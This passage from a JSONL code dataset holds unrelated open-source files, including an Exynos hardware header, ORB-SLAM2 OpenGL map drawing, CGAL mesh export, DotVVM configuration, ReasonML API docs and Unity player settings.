Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n */\n\n#ifndef __ASM_ARCH_TMU_H\n#define __ASM_ARCH_TMU_H\n\nstruct exynos5_tmu_reg {\n\tu32 triminfo;\n\tu32 rsvd1[4];\n\tu32 triminfo_control;\n\tu32 rsvd5[2];\n\tu32 tmu_control;\n\tu32 rsvd7;\n\tu32 tmu_status;\n\tu32 sampling_internal;\n\tu32 counter_value0;\n\tu32 counter_value1;\n\tu32 rsvd8[2];\n\tu32 current_temp;\n\tu32 rsvd10[3];\n\tu32 threshold_temp_rise;\n\tu32 threshold_temp_fall;\n\tu32 rsvd13[2];\n\tu32 past_temp3_0;\n\tu32 past_temp7_4;\n\tu32 past_temp11_8;\n\tu32 past_temp15_12;\n\tu32 inten;\n\tu32 intstat;\n\tu32 intclear;\n\tu32 rsvd15;\n\tu32 emul_con;\n};\n#endif /* __ASM_ARCH_TMU_H */\n"} {"text": "POST /?foo=bar http/1.1\r\nDate:Mon, 09 Sep 2011 23:36:00 GMT\r\nHost:host.foo.com\r\nAuthorization: AWS4-HMAC-SHA256 Credential=AKIDEXAMPLE/20110909/us-east-1/host/aws4_request, SignedHeaders=date;host, Signature=b6e3b79003ce0743a491606ba1035a804593b0efb1e20a11cba83f8c25a57a92\r\n\r\n"} {"text": "/**\n * Copyright (c) 2015-present, Parse, LLC.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n */\n\n#import <Foundation/Foundation.h>\n\n#import \"PFFacebookAuthenticationProvider.h\"\n\n@interface PFFacebookDeviceAuthenticationProvider : PFFacebookAuthenticationProvider\n\n@end\n"} {"text": "/**\n* This file is part of ORB-SLAM2.\n*\n* Copyright (C) 2014-2016 Raúl Mur-Artal <raulmur at unizar dot es> (University of Zaragoza)\n* For more information see <https://github.com/raulmur/ORB_SLAM2>\n*\n* ORB-SLAM2 is free software: you can redistribute it and/or modify\n* it under the terms of the GNU General Public License as published by\n* the Free Software Foundation, either version 3 of the License, or\n* (at your option) any later version.\n*\n* ORB-SLAM2 is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU General Public License for more details.\n*\n* You should have received a copy of the GNU General Public License\n* along with ORB-SLAM2. If not, see <http://www.gnu.org/licenses/>.\n*/\n\n#include \"MapDrawer.h\"\n#include \"MapPoint.h\"\n#include \"KeyFrame.h\"\n#include <pangolin/pangolin.h>\n#include <mutex>\n\nnamespace ORB_SLAM2\n{\n\n\nMapDrawer::MapDrawer(Map* pMap, const string &strSettingPath):mpMap(pMap)\n{\n cv::FileStorage fSettings(strSettingPath, cv::FileStorage::READ);\n\n mKeyFrameSize = fSettings[\"Viewer.KeyFrameSize\"];\n mKeyFrameLineWidth = fSettings[\"Viewer.KeyFrameLineWidth\"];\n mGraphLineWidth = fSettings[\"Viewer.GraphLineWidth\"];\n mPointSize = fSettings[\"Viewer.PointSize\"];\n mCameraSize = fSettings[\"Viewer.CameraSize\"];\n mCameraLineWidth = fSettings[\"Viewer.CameraLineWidth\"];\n\n}\n\nvoid MapDrawer::DrawMapPoints()\n{\n const vector<MapPoint*> &vpMPs = mpMap->GetAllMapPoints();\n const vector<MapPoint*> &vpRefMPs = mpMap->GetReferenceMapPoints();\n\n set<MapPoint*> spRefMPs(vpRefMPs.begin(), vpRefMPs.end());\n\n if(vpMPs.empty())\n return;\n\n glPointSize(mPointSize);\n glBegin(GL_POINTS);\n glColor3f(0.0,0.0,0.0);\n\n for(size_t i=0, iend=vpMPs.size(); i<iend;i++)\n {\n if(vpMPs[i]->isBad() || spRefMPs.count(vpMPs[i]))\n continue;\n cv::Mat pos = vpMPs[i]->GetWorldPos();\n glVertex3f(pos.at<float>(0),pos.at<float>(1),pos.at<float>(2));\n }\n glEnd();\n\n glPointSize(mPointSize);\n glBegin(GL_POINTS);\n glColor3f(1.0,0.0,0.0);\n\n for(set<MapPoint*>::iterator sit=spRefMPs.begin(), send=spRefMPs.end(); sit!=send; sit++)\n {\n if((*sit)->isBad())\n continue;\n cv::Mat pos = (*sit)->GetWorldPos();\n glVertex3f(pos.at<float>(0),pos.at<float>(1),pos.at<float>(2));\n\n }\n\n glEnd();\n}\n\nvoid MapDrawer::DrawKeyFrames(const bool bDrawKF, const bool bDrawGraph)\n{\n const float &w = mKeyFrameSize;\n const float h = w*0.75;\n const float z = w*0.6;\n\n const vector<KeyFrame*> vpKFs = mpMap->GetAllKeyFrames();\n\n if(bDrawKF)\n {\n for(size_t i=0; i<vpKFs.size(); i++)\n {\n KeyFrame* pKF = vpKFs[i];\n cv::Mat Twc = pKF->GetPoseInverse().t();\n\n glPushMatrix();\n\n glMultMatrixf(Twc.ptr<GLfloat>(0));\n\n glLineWidth(mKeyFrameLineWidth);\n glColor3f(0.0f,0.0f,1.0f);\n glBegin(GL_LINES);\n glVertex3f(0,0,0);\n glVertex3f(w,h,z);\n glVertex3f(0,0,0);\n glVertex3f(w,-h,z);\n glVertex3f(0,0,0);\n glVertex3f(-w,-h,z);\n glVertex3f(0,0,0);\n glVertex3f(-w,h,z);\n\n glVertex3f(w,h,z);\n glVertex3f(w,-h,z);\n\n glVertex3f(-w,h,z);\n glVertex3f(-w,-h,z);\n\n glVertex3f(-w,h,z);\n glVertex3f(w,h,z);\n\n glVertex3f(-w,-h,z);\n glVertex3f(w,-h,z);\n glEnd();\n\n glPopMatrix();\n }\n }\n\n if(bDrawGraph)\n {\n glLineWidth(mGraphLineWidth);\n glColor4f(0.0f,1.0f,0.0f,0.6f);\n glBegin(GL_LINES);\n\n for(size_t i=0; i<vpKFs.size(); i++)\n {\n // Covisibility Graph\n const vector<KeyFrame*> vCovKFs = vpKFs[i]->GetCovisiblesByWeight(100);\n cv::Mat Ow = vpKFs[i]->GetCameraCenter();\n if(!vCovKFs.empty())\n {\n for(vector<KeyFrame*>::const_iterator vit=vCovKFs.begin(), vend=vCovKFs.end(); vit!=vend; vit++)\n {\n if((*vit)->mnId<vpKFs[i]->mnId)\n continue;\n cv::Mat Ow2 = (*vit)->GetCameraCenter();\n glVertex3f(Ow.at<float>(0),Ow.at<float>(1),Ow.at<float>(2));\n glVertex3f(Ow2.at<float>(0),Ow2.at<float>(1),Ow2.at<float>(2));\n }\n }\n\n // Spanning tree\n KeyFrame* pParent = vpKFs[i]->GetParent();\n if(pParent)\n {\n cv::Mat Owp = pParent->GetCameraCenter();\n glVertex3f(Ow.at<float>(0),Ow.at<float>(1),Ow.at<float>(2));\n glVertex3f(Owp.at<float>(0),Owp.at<float>(1),Owp.at<float>(2));\n }\n\n // Loops\n set<KeyFrame*> sLoopKFs = vpKFs[i]->GetLoopEdges();\n for(set<KeyFrame*>::iterator sit=sLoopKFs.begin(), send=sLoopKFs.end(); sit!=send; sit++)\n {\n if((*sit)->mnId<vpKFs[i]->mnId)\n continue;\n cv::Mat Owl = (*sit)->GetCameraCenter();\n glVertex3f(Ow.at<float>(0),Ow.at<float>(1),Ow.at<float>(2));\n glVertex3f(Owl.at<float>(0),Owl.at<float>(1),Owl.at<float>(2));\n }\n }\n\n glEnd();\n }\n}\n\nvoid MapDrawer::DrawCurrentCamera(pangolin::OpenGlMatrix &Twc)\n{\n const float &w = mCameraSize;\n const float h = w*0.75;\n const float z = w*0.6;\n\n glPushMatrix();\n\n#ifdef HAVE_GLES\n glMultMatrixf(Twc.m);\n#else\n glMultMatrixd(Twc.m);\n#endif\n\n glLineWidth(mCameraLineWidth);\n glColor3f(0.0f,1.0f,0.0f);\n glBegin(GL_LINES);\n glVertex3f(0,0,0);\n glVertex3f(w,h,z);\n glVertex3f(0,0,0);\n glVertex3f(w,-h,z);\n glVertex3f(0,0,0);\n glVertex3f(-w,-h,z);\n glVertex3f(0,0,0);\n glVertex3f(-w,h,z);\n\n glVertex3f(w,h,z);\n glVertex3f(w,-h,z);\n\n glVertex3f(-w,h,z);\n glVertex3f(-w,-h,z);\n\n glVertex3f(-w,h,z);\n glVertex3f(w,h,z);\n\n glVertex3f(-w,-h,z);\n glVertex3f(w,-h,z);\n glEnd();\n\n glPopMatrix();\n}\n\n\nvoid MapDrawer::SetCurrentCameraPose(const cv::Mat &Tcw)\n{\n unique_lock<mutex> lock(mMutexCamera);\n mCameraPose = Tcw.clone();\n}\n\nvoid MapDrawer::GetCurrentOpenGLCameraMatrix(pangolin::OpenGlMatrix &M)\n{\n if(!mCameraPose.empty())\n {\n cv::Mat Rwc(3,3,CV_32F);\n cv::Mat twc(3,1,CV_32F);\n {\n unique_lock<mutex> lock(mMutexCamera);\n Rwc = mCameraPose.rowRange(0,3).colRange(0,3).t();\n twc = -Rwc*mCameraPose.rowRange(0,3).col(3);\n }\n\n M.m[0] = Rwc.at<float>(0,0);\n M.m[1] = Rwc.at<float>(1,0);\n M.m[2] = Rwc.at<float>(2,0);\n M.m[3] = 0.0;\n\n M.m[4] = Rwc.at<float>(0,1);\n M.m[5] = Rwc.at<float>(1,1);\n M.m[6] = Rwc.at<float>(2,1);\n M.m[7] = 0.0;\n\n M.m[8] = Rwc.at<float>(0,2);\n M.m[9] = Rwc.at<float>(1,2);\n M.m[10] = Rwc.at<float>(2,2);\n M.m[11] = 0.0;\n\n M.m[12] = twc.at<float>(0);\n M.m[13] = twc.at<float>(1);\n M.m[14] = twc.at<float>(2);\n M.m[15] = 1.0;\n }\n else\n M.SetIdentity();\n}\n\n} //namespace ORB_SLAM\n"} {"text": "package com.alipay.api.response;\r\n\r\nimport com.alipay.api.internal.mapping.ApiField;\r\n\r\nimport com.alipay.api.AlipayResponse;\r\n\r\n/**\r\n * ALIPAY API: alipay.open.app.appcontent.function.modify response.\r\n * \r\n * @author auto create\r\n * @since 1.0, 2020-07-17 17:02:25\r\n */\r\npublic class AlipayOpenAppAppcontentFunctionModifyResponse extends AlipayResponse {\r\n\r\n\tprivate static final long serialVersionUID = 3678119377283375223L;\r\n\r\n\t/** \r\n\t * 服务编码\r\n\t */\r\n\t@ApiField(\"service_code\")\r\n\tprivate String serviceCode;\r\n\r\n\tpublic void setServiceCode(String serviceCode) {\r\n\t\tthis.serviceCode = serviceCode;\r\n\t}\r\n\tpublic String getServiceCode( ) {\r\n\t\treturn this.serviceCode;\r\n\t}\r\n\r\n}\r\n"} {"text": "BEGIN {\r\n use File::Basename;\r\n my $THISDIR = dirname $0;\r\n unshift @INC, $THISDIR;\r\n require \"testp2pt.pl\";\r\n import TestPodIncPlainText;\r\n}\r\n\r\nmy %options = map { $_ => 1 } @ARGV; ## convert cmdline to options-hash\r\nmy $passed = testpodplaintext \\%options, $0;\r\nexit( ($passed == 1) ? 0 : -1 ) unless $ENV{HARNESS_ACTIVE};\r\n\r\n\r\n__END__\r\n\r\n\r\n=head1 Test multiline item lists\r\n\r\nThis is a test to ensure that multiline =item paragraphs\r\nget indented appropriately.\r\n\r\n=over 4 \r\n\r\n=item This \r\nis\r\na\r\ntest.\r\n\r\n=back\r\n\r\n=cut\r\n"} {"text": "---\nid: apis/ImagePickerIOS\ntitle: ImagePickerIOS\nofficialDoc: https://reactnative.dev/docs/imagepickerios\n---\n\n## Note\n\nThis API will be removed from React Native as part of the\n[_Lean Core_](https://github.com/facebook/react-native/issues/23313) effort.\nPlease refer to the\n[community package](https://github.com/react-native-community/react-native-image-picker-ios)\nif you wish to use this component.\n\nHowever note that more current packages such as •\n[`react-native-image-picker`](https://github.com/react-native-community/react-native-image-picker)\nfor which [bindings](https://github.com/reason-react-native/image-picker) are\navailable, or •\n[`expo-image-picker`](https://docs.expo.io/versions/latest/sdk/imagepicker/) are\nrecommended instead.\n\n---\n\nBefore you may use this API, you need to link the `RCTCameraRoll` library to\nyour app and provide a description for your use of the Photo Library.\n\n- you need to add `RCTCameraRoll.xcodeproj` (located in the\n `node_modules/react-native/Libraries/CameraRoll` subdirectory of your app) to\n your project's Libraries tree in XCode, then\n- you need to specify `libRCTCameraRoll.a` under _Link Binary with Libraries_ in\n your app's _Build Phases_ tab.\n- you also need to set the _Privacy - Photo Library Usage Description_ (or\n _NSPhotoLibraryUsageDescription_) key under _Custom iOS Target Properties_ in\n your apps' _Info_ tab.\n\n## Types\n\n### `imageUri`\n\nAn alias for the `string` type\n\n```reason\ntype imageUri = string\n```\n\n### `cameraDialogConfig`\n\nAn abstract type which can be created using the constructor of the same name.\nYou may call the constructor as `cameraDialogConfig()` to use the default\nvalues.\n\n```reason\ncameraDialogConfig: (~videoMode: bool=?, unit) => cameraDialogConfig\n```\n\n### `selectDialogConfig`\n\nAn abstract type which can be created using the constructor of the same name.\nYou may call the constructor as `selectDialogConfig()` to use the default\nvalues.\n\n```reason\nselectDialogConfig:\n (~showImages: bool=?, ~showVideos: bool=?, unit) => selectDialogConfig\n```\n\n## Methods\n\n### `canUseCamera`\n\nMethod to check whether the app has permissions to use the camera, takes a\ncallback of type `bool => unit`.\n\n```reason\ncanUseCamera: (bool => unit) => unit\n```\n\n### `canRecordVideos`\n\nMethod to check whether the app has permissions to record videos, takes a\ncallback of type `bool => unit`.\n\n```reason\ncanRecordVideos: (bool => unit) => unit\n```\n\n### `openCameraDialog`\n\nMethod to request the Camera dialog given a config (of type\n[`cameraDialogConfig`](#cameraDialogConfig)) to specify whether the camera is\nlaunched in video mode. When an image or video is captured, `onSuccess` callback\nis passed the returned `imageUri`, `height` and `width`; `onError` callback is\napplied otherwise. As`'error` is an abstract type\n\n```reason\nopenCameraDialog:\n (\n ~config: cameraDialogConfig,\n ~onSuccess: (imageUri, ~height: float, ~width: float, unit) => unit,\n ~onError: 'error => unit\n ) =>\n unit\n```\n\n### `openSelectDialog`\n\nMethod to request the Image Gallery given a config (of type\n[`openSelectDialog`](#openSelectDialog)) to specify whether images and/or videos\nshould be listed. When an image or video is selected, `onSuccess` callback is\npassed the returned `imageUri`, `height` and `width`; `onError` callback is\nexecuted otherwise. As`'error` is an abstract type\n\n```reason\nopenSelectDialog:\n (\n ~config: selectDialogConfig,\n ~onSuccess: (imageUri, ~height: float, ~width: float, unit) => unit,\n ~onError: 'error => unit\n ) =>\n unit\n```\n"} {"text": "[int]$count = 0\n[int]$maxCount = 0\n[datetime[]]$times = @()\n\n$jobs = Get-Content -Path \".\\mlijobs.txt\" | ForEach-Object {\n [string[]]$fields = $_.Split(\" \",[StringSplitOptions]::RemoveEmptyEntries)\n [datetime]$datetime = Get-Date $fields[3].Replace(\"_\",\" \")\n [PSCustomObject]@{\n State = $fields[1]\n Date = $datetime\n Job = $fields[6]\n }\n}\n\nforeach ($job in $jobs)\n{\n switch ($job.State)\n {\n \"IN\"\n {\n $count--\n }\n \"OUT\"\n {\n $count++\n\n if ($count -gt $maxCount)\n {\n $maxCount = $count\n $times = @()\n $times+= $job.Date\n }\n elseif ($count -eq $maxCount)\n {\n $times+= $job.Date\n }\n }\n }\n}\n\n[PSCustomObject]@{\n LicensesOut = $maxCount\n StartTime = $times[0]\n EndTime = $times[1]\n}\n"} {"text": "#nullable enable\nusing System;\nusing System.Collections.Generic;\nusing Newtonsoft.Json;\nusing Newtonsoft.Json.Linq;\nusing Newtonsoft.Json.Serialization;\nusing DotVVM.Framework.Controls;\nusing System.Reflection;\nusing DotVVM.Framework.Utils;\n\nnamespace DotVVM.Framework.Configuration\n{\n public sealed class HtmlAttributeTransformConfiguration\n {\n private Lazy<IHtmlAttributeTransformer> instance;\n\n\n [JsonProperty(\"type\")]\n public Type? Type\n {\n get => _type;\n set { ThrowIfFrozen(); _type = value; }\n }\n private Type? _type;\n\n [JsonExtensionData]\n public IDictionary<string, JToken>? ExtensionData\n {\n get => _extensionData;\n set { ThrowIfFrozen(); _extensionData = value; }\n }\n private IDictionary<string, JToken>? _extensionData;\n\n\n public HtmlAttributeTransformConfiguration()\n {\n instance = new Lazy<IHtmlAttributeTransformer>(CreateInstance, true);\n }\n\n public IHtmlAttributeTransformer GetInstance()\n {\n if (isFrozen)\n return instance.Value;\n else\n throw new NotSupportedException(\"This HtmlAttributeTransformConfiguration must be frozen before the IHtmlAttributeTransformer instance can be returned.\");\n }\n\n\n\n private IHtmlAttributeTransformer CreateInstance()\n {\n var type = Type.NotNull();\n var transformer = (IHtmlAttributeTransformer?)Activator.CreateInstance(type) ?? throw new Exception($\"Could not initialize type {type} for html attribute transformer\");\n\n // apply extension attributes\n if (ExtensionData != null)\n {\n foreach (var extension in ExtensionData)\n {\n var prop = type.GetProperty(extension.Key) ?? throw new Exception($\"Property {extension.Key} from ExtensionData was not found.\");\n prop.SetValue(transformer, extension.Value.ToObject(prop.PropertyType));\n }\n }\n\n return transformer;\n }\n\n private bool isFrozen = false;\n\n private void ThrowIfFrozen()\n {\n if (isFrozen)\n throw FreezableUtils.Error(nameof(HtmlAttributeTransformConfiguration));\n }\n public void Freeze()\n {\n this.isFrozen = true;\n FreezableDictionary.Freeze(ref this._extensionData);\n // unfortunately, the stored JTokens are still mutable :(\n // it may get solved at some point, https://github.com/JamesNK/Newtonsoft.Json/issues/468\n }\n }\n}\n"} {"text": "// Copyright (c) 2012 GeometryFactory Sarl (France).\n// All rights reserved.\n//\n// This file is part of CGAL (www.cgal.org).\n// You can redistribute it and/or modify it under the terms of the GNU\n// General Public License as published by the Free Software Foundation,\n// either version 3 of the License, or (at your option) any later version.\n//\n// Licensees holding a valid commercial license may use this file in\n// accordance with the commercial license agreement provided with the software.\n//\n// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE\n// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n//\n// $URL$\n// $Id$\n//\n//\n// Author(s) : Laurent Rineau\n\n#ifndef CGAL_IO_FILE_TETGEN_H\n#define CGAL_IO_FILE_TETGEN_H\n\n#include <CGAL/license/Mesh_3.h>\n\n\n#include <CGAL/IO/File_medit.h>\n#include <iostream>\n#include <map>\n#include <string>\n#include <CGAL/utility.h>\n\nnamespace CGAL {\n\nnamespace Mesh_3 {\n\ntemplate <class C3T3, bool rebind, bool no_patch>\nvoid\noutput_to_tetgen(std::string filename,\n const C3T3& c3t3)\n{\n#ifdef CGAL_MESH_3_IO_VERBOSE\n std::cerr << \"Output to tetgen:\\n\";\n#endif\n\n typedef Medit_pmap_generator<C3T3,rebind,no_patch> Generator;\n typedef typename Generator::Cell_pmap Cell_pmap;\n typedef typename Generator::Facet_pmap Facet_pmap;\n typedef typename Generator::Facet_pmap_twice Facet_pmap_twice;\n typedef typename Generator::Vertex_pmap Vertex_pmap;\n\n Cell_pmap cell_pmap(c3t3);\n Facet_pmap facet_pmap(c3t3,cell_pmap);\n Facet_pmap_twice facet_pmap_twice(c3t3,cell_pmap);\n Vertex_pmap vertex_pmap(c3t3,cell_pmap,facet_pmap);\n\n output_to_tetgen(filename,\n c3t3,\n vertex_pmap,\n facet_pmap,\n cell_pmap,\n facet_pmap_twice,\n Generator().print_twice());\n\n#ifdef CGAL_MESH_3_IO_VERBOSE\n std::cerr << \"done.\\n\";\n#endif\n}\n\n\n\ntemplate <class C3T3,\n class Vertex_index_property_map,\n class Facet_index_property_map,\n class Facet_index_property_map_twice,\n class Cell_index_property_map>\nvoid\noutput_to_tetgen(std::string filename,\n const C3T3& c3t3,\n const Vertex_index_property_map& /* vertex_pmap */,\n const Facet_index_property_map& /* facet_pmap */,\n const Cell_index_property_map& /* cell_pmap */,\n const Facet_index_property_map_twice& /* facet_twice_pmap */ = Facet_index_property_map_twice(),\n const bool /* print_each_facet_twice */ = false)\n{\n typedef typename C3T3::Triangulation Tr;\n typedef typename C3T3::Facets_in_complex_iterator Facet_iterator;\n typedef typename C3T3::Cells_in_complex_iterator Cell_iterator;\n\n typedef typename Tr::Finite_vertices_iterator Finite_vertices_iterator;\n typedef typename Tr::Vertex_handle Vertex_handle;\n typedef typename Tr::Cell_handle Cell_handle;\n typedef typename Tr::Weighted_point Weighted_point;\n typedef typename Tr::Facet Facet;\n\n const Tr& tr = c3t3.triangulation();\n\n std::map<Vertex_handle, std::size_t> V;\n\n //-------------------------------------------------------\n // File output\n //-------------------------------------------------------\n\n //-------------------------------------------------------\n // nodes\n //-------------------------------------------------------\n\n std::string node_filename = filename + \".node\";\n std::ofstream node_stream(node_filename.c_str());\n\n node_stream << std::setprecision(17);\n node_stream << tr.number_of_vertices() << \" 3 0 0\" << std::endl;\n\n std::size_t vert_counter = 0;\n for(Finite_vertices_iterator\n vit = tr.finite_vertices_begin(),\n end = tr.finite_vertices_end();\n vit != end; ++vit)\n {\n const Weighted_point& p = vit->point();\n const double x = CGAL::to_double(p.x());\n const double y = CGAL::to_double(p.y());\n const double z = CGAL::to_double(p.z());\n\n V[vit] = ++vert_counter;\n\n node_stream << vert_counter << \" \" << x << \" \" << y << \" \" << z;\n node_stream << std::endl;\n }\n node_stream.close();\n\n\n //-------------------------------------------------------\n // Elements\n //-------------------------------------------------------\n\n std::string elem_filename = filename + \".elem\";\n std::ofstream elem_stream(elem_filename.c_str());\n\n elem_stream << std::setprecision(17);\n elem_stream << c3t3.number_of_cells_in_complex() << \" 4 0\" << std::endl;\n\n std::size_t cell_counter = 0;\n for (Cell_iterator\n cit = c3t3.cells_in_complex_begin(),\n end = c3t3.cells_in_complex_end();\n cit != end; ++cit)\n {\n const Cell_handle ch = cit;\n\n elem_stream << ++cell_counter;\n for (int i=3; i>=0; i--)\n {\n const Vertex_handle vh = ch->vertex(i);\n elem_stream << \" \" << V[vh];\n }\n elem_stream << std::endl;\n }\n elem_stream.close();\n\n\n //-------------------------------------------------------\n // Face\n //-------------------------------------------------------\n\n std::string face_filename = filename + \".face\";\n std::ofstream face_stream(face_filename.c_str());\n\n face_stream << std::setprecision(17);\n face_stream << c3t3.number_of_facets_in_complex() << \" 0\" << std::endl;\n\n std::size_t facet_counter = 0;\n for(Facet_iterator\n fit = c3t3.facets_in_complex_begin(),\n end = c3t3.facets_in_complex_end();\n fit != end; ++fit )\n {\n const Facet& facet = *fit;\n\n Vertex_handle vh1 = facet.first->vertex((facet.second+1)%4);\n Vertex_handle vh2 = facet.first->vertex((facet.second+2)%4);\n Vertex_handle vh3 = facet.first->vertex((facet.second+3)%4);\n\n face_stream << ++facet_counter << \" \" << V[vh1] << \" \" << V[vh2] << \" \" << V[vh3] << std::endl;\n }\n face_stream.close();\n\n //-------------------------------------------------------\n // End\n //-------------------------------------------------------\n} // end output_to_tetgen(...)\n\n} // end namespace Mesh_3\n\n\n\n\n/**\n * @brief outputs mesh to tetgen format\n * @param os the stream\n * @param c3t3 the mesh\n * @param rebind if true, labels of cells are rebinded into [1..nb_of_labels]\n * @param show_patches if true, patches are labeled with different labels than\n * cells. If false, each surface facet is written twice, using label of\n * each adjacent cell.\n */\ntemplate <class C3T3>\nvoid\noutput_to_tetgen(std::string filename,\n const C3T3& c3t3,\n bool rebind = false,\n bool show_patches = false)\n{\n if ( rebind )\n {\n if ( show_patches )\n Mesh_3::output_to_tetgen<C3T3,true,false>(filename,c3t3);\n else\n Mesh_3::output_to_tetgen<C3T3,true,true>(filename,c3t3);\n }\n else\n {\n if ( show_patches )\n Mesh_3::output_to_tetgen<C3T3,false,false>(filename,c3t3);\n else\n Mesh_3::output_to_tetgen<C3T3,false,true>(filename,c3t3);\n }\n}\n\n} // end namespace CGAL\n\n#endif // CGAL_IO_FILE_TETGEN_H\n"} {"text": "/*=============================================================================\r\n Copyright (c) 2001-2011 Joel de Guzman\r\n\r\n Distributed under the Boost Software License, Version 1.0. (See accompanying\r\n file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\r\n==============================================================================*/\r\n#if !defined(FUSION_ERASE_KEY_10022005_1907)\r\n#define FUSION_ERASE_KEY_10022005_1907\r\n\r\n#include <boost/fusion/support/config.hpp>\r\n#include <boost/mpl/erase_key.hpp>\r\n#include <boost/fusion/support/tag_of.hpp>\r\n#include <boost/fusion/algorithm/transformation/erase_key.hpp>\r\n#include <boost/fusion/sequence/convert.hpp>\r\n\r\nnamespace boost { namespace mpl\r\n{\r\n template <typename Tag>\r\n struct erase_key_impl;\r\n\r\n template <>\r\n struct erase_key_impl<fusion::fusion_sequence_tag>\r\n {\r\n template <typename Sequence, typename Key>\r\n struct apply\r\n {\r\n typedef typename\r\n fusion::result_of::erase_key<Sequence, Key>::type\r\n result;\r\n\r\n typedef typename\r\n fusion::result_of::convert<\r\n typename fusion::detail::tag_of<Sequence>::type, result>::type\r\n type;\r\n };\r\n };\r\n}}\r\n\r\n#endif\r\n\r\n"} {"text": "/*\n * VideoViewer store\n *\n */\n\nimport { types as T, getParent } from 'mobx-state-tree'\n\nimport { markStates, buildLog, stripMobx } from '@/utils'\n/* eslint-disable-next-line */\nconst log = buildLog('S:VideoViewer')\n\nconst VideoViewer = T.model('VideoViewer', {\n loading: T.optional(T.boolean, false),\n})\n .views((self) => ({\n get root() {\n return getParent(self)\n },\n get isLogin() {\n return self.root.account.isLogin\n },\n get viewingData() {\n return self.root.viewingData\n },\n get curCommunity() {\n return stripMobx(self.root.viewing.community)\n },\n }))\n .actions((self) => ({\n setViewing(sobj) {\n self.root.setViewing(sobj)\n },\n mark(sobj) {\n markStates(sobj, self)\n },\n }))\n\nexport default VideoViewer\n"} {"text": "%YAML 1.1\n%TAG !u! tag:unity3d.com,2011:\n--- !u!129 &1\nPlayerSettings:\n m_ObjectHideFlags: 0\n serializedVersion: 20\n productGUID: d513f3ca604e08240b3b6f0eaf22a7d8\n AndroidProfiler: 0\n AndroidFilterTouchesWhenObscured: 0\n AndroidEnableSustainedPerformanceMode: 0\n defaultScreenOrientation: 4\n targetDevice: 2\n useOnDemandResources: 0\n accelerometerFrequency: 60\n companyName: NekonyaStudio\n productName: TinaXDemo\n defaultCursor: {fileID: 0}\n cursorHotspot: {x: 0, y: 0}\n m_SplashScreenBackgroundColor: {r: 0.13725491, g: 0.12156863, b: 0.1254902, a: 1}\n m_ShowUnitySplashScreen: 0\n m_ShowUnitySplashLogo: 1\n m_SplashScreenOverlayOpacity: 1\n m_SplashScreenAnimation: 1\n m_SplashScreenLogoStyle: 1\n m_SplashScreenDrawMode: 0\n m_SplashScreenBackgroundAnimationZoom: 1\n m_SplashScreenLogoAnimationZoom: 1\n m_SplashScreenBackgroundLandscapeAspect: 1\n m_SplashScreenBackgroundPortraitAspect: 1\n m_SplashScreenBackgroundLandscapeUvs:\n serializedVersion: 2\n x: 0\n y: 0\n width: 1\n height: 1\n m_SplashScreenBackgroundPortraitUvs:\n serializedVersion: 2\n x: 0\n y: 0\n width: 1\n height: 1\n m_SplashScreenLogos: []\n m_VirtualRealitySplashScreen: {fileID: 0}\n m_HolographicTrackingLossScreen: {fileID: 0}\n defaultScreenWidth: 1024\n defaultScreenHeight: 768\n defaultScreenWidthWeb: 960\n defaultScreenHeightWeb: 600\n m_StereoRenderingPath: 0\n m_ActiveColorSpace: 1\n m_MTRendering: 1\n m_StackTraceTypes: 010000000100000001000000010000000100000001000000\n iosShowActivityIndicatorOnLoading: -1\n androidShowActivityIndicatorOnLoading: -1\n iosUseCustomAppBackgroundBehavior: 0\n iosAllowHTTPDownload: 1\n allowedAutorotateToPortrait: 1\n allowedAutorotateToPortraitUpsideDown: 1\n allowedAutorotateToLandscapeRight: 1\n allowedAutorotateToLandscapeLeft: 1\n useOSAutorotation: 1\n use32BitDisplayBuffer: 1\n preserveFramebufferAlpha: 0\n disableDepthAndStencilBuffers: 0\n androidStartInFullscreen: 1\n androidRenderOutsideSafeArea: 1\n androidUseSwappy: 0\n androidBlitType: 0\n defaultIsNativeResolution: 1\n macRetinaSupport: 1\n runInBackground: 1\n captureSingleScreen: 0\n muteOtherAudioSources: 0\n Prepare IOS For Recording: 0\n Force IOS Speakers When Recording: 0\n deferSystemGesturesMode: 0\n hideHomeButton: 0\n submitAnalytics: 1\n usePlayerLog: 1\n bakeCollisionMeshes: 0\n forceSingleInstance: 0\n useFlipModelSwapchain: 1\n resizableWindow: 0\n useMacAppStoreValidation: 0\n macAppStoreCategory: public.app-category.games\n gpuSkinning: 0\n xboxPIXTextureCapture: 0\n xboxEnableAvatar: 0\n xboxEnableKinect: 0\n xboxEnableKinectAutoTracking: 0\n xboxEnableFitness: 0\n visibleInBackground: 1\n allowFullscreenSwitch: 1\n fullscreenMode: 1\n xboxSpeechDB: 0\n xboxEnableHeadOrientation: 0\n xboxEnableGuest: 0\n xboxEnablePIXSampling: 0\n metalFramebufferOnly: 0\n xboxOneResolution: 0\n xboxOneSResolution: 0\n xboxOneXResolution: 3\n xboxOneMonoLoggingLevel: 0\n xboxOneLoggingLevel: 1\n xboxOneDisableEsram: 0\n xboxOneEnableTypeOptimization: 0\n xboxOnePresentImmediateThreshold: 0\n switchQueueCommandMemory: 0\n switchQueueControlMemory: 16384\n switchQueueComputeMemory: 262144\n switchNVNShaderPoolsGranularity: 33554432\n switchNVNDefaultPoolsGranularity: 16777216\n switchNVNOtherPoolsGranularity: 16777216\n vulkanNumSwapchainBuffers: 3\n vulkanEnableSetSRGBWrite: 0\n m_SupportedAspectRatios:\n 4:3: 1\n 5:4: 1\n 16:10: 1\n 16:9: 1\n Others: 1\n bundleVersion: 0.1\n preloadedAssets: []\n metroInputSource: 0\n wsaTransparentSwapchain: 0\n m_HolographicPauseOnTrackingLoss: 1\n xboxOneDisableKinectGpuReservation: 1\n xboxOneEnable7thCore: 1\n vrSettings:\n cardboard:\n depthFormat: 0\n enableTransitionView: 0\n daydream:\n depthFormat: 0\n useSustainedPerformanceMode: 0\n enableVideoLayer: 0\n useProtectedVideoMemory: 0\n minimumSupportedHeadTracking: 0\n maximumSupportedHeadTracking: 1\n hololens:\n depthFormat: 